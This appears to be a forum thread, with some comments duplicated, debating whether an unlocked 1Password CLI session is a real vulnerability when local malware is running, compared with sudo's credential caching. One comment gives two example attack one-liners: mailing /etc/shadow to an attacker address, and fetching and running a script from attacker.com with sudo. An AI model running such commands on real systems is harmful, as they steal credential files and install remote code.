This "vulnerability" is actually just a standard warning to not run untrusted software on your machine. In this case the attacker can leverage a commandline program to read your unlocked password vault, but without that he'd still be able to steal any user owned files on your machine and access your bank through your browser to steal your money.
"It rather involved being on the other side of this airtight hatchway."
Yes. It is a nice report that does not engage with 1password's security model at all. 1password specifically says that they do not think it is feasible to defend against locally executing malware.
“Not feasible” except that the author of the article provided a list of relatively low-effort solutions that 1Password could implement to improve the situation.
I’m pretty sure defending against locally executing malware is something that companies like Apple and Microsoft work on daily. The idea that it’s not “feasible” sounds suspiciously lazy.
Especially Apple works on that on the iPhone by scanning every new app and leave the customer only install that one that are signed by Apple itself. And they still fail with it.
Low-risk in terms of what? They’re superficially similar only in that both cache authentication for convenience. But the consequences are totally different. Sudo caches auth to let you run privileged commands locally; it doesn’t hand secrets to other processes. An unlocked 1Password CLI session can be abused by any code that can call the CLI (or read its session token) to export and ship vault contents, that’s an exfiltration vector, not just local privilege reuse. I’d rate that much higher risk personally.
the chance the dependency you've just updated and your vault being unlocked at the same exact time, if someone is attacked by a malicious dependency you have bigger problems to worry about.
To an extent, in that once you've unlocked your vault you now have access to it without having to type a password every time (convenience). Of course, the implications of this are far worse, in that you've now sent me (the hacker) all credentials in your vault. I'd say this has less to do with a password manager and more to do with using MFA so that the credentials alone are worthless.
Yep.
This "vulnerability" is actually just a standard warning to not run untrusted software on your machine. In this case the attacker can leverage a commandline program to read your unlocked password vault, but without that he'd still be able to steal any user owned files on your machine and access your bank through your browser to steal your money.
"It rather involved being on the other side of this airtight hatchway."
Yes. It is a nice report that does not engage with 1password's security model at all. 1password specifically says that they do not think it is feasible to defend against locally executing malware.
“Not feasible” except that the author of the article provided a list of relatively low-effort solutions that 1Password could implement to improve the situation.
I’m pretty sure defending against locally executing malware is something that companies like Apple and Microsoft work on daily. The idea that it’s not “feasible” sounds suspiciously lazy.
Especially Apple works on that on the iPhone by scanning every new app and leave the customer only install that one that are signed by Apple itself. And they still fail with it.
For those not in the know, the hatchway quote is a reference to Raymond Chen’s 2006 blog post: https://devblogs.microsoft.com/oldnewthing/20060508-22/?p=31...
Which itself is a Hitchhiker's Guide to the Galaxy reference.
only applies to the current terminal session, this applied from any session including build sub-sessions.
but yah, you're right it's a very low-risk attack.
Low-risk in terms of what? They’re superficially similar only in that both cache authentication for convenience. But the consequences are totally different. Sudo caches auth to let you run privileged commands locally; it doesn’t hand secrets to other processes. An unlocked 1Password CLI session can be abused by any code that can call the CLI (or read its session token) to export and ship vault contents, that’s an exfiltration vector, not just local privilege reuse. I’d rate that much higher risk personally.
the chance the dependency you've just updated and your vault being unlocked at the same exact time, if someone is attacked by a malicious dependency you have bigger problems to worry about.
sudo cat /etc/shadow | mail attacker@gmail.com
or wget https://attacker.com/install_special_pam_bypass.sh | sudo install_special_pam_bypass.sh
Could a terminal not cross access whatever properties the sudo time-out sets on another terminal session? E.g via /proc?
no, because the session you are in does not have access to edit /proc and in some instances even read /proc.
To an extent, in that once you've unlocked your vault you now have access to it without having to type a password every time (convenience). Of course, the implications of this are far worse, in that you've now sent me (the hacker) all credentials in your vault. I'd say this has less to do with a password manager and more to do with using MFA so that the credentials alone are worthless.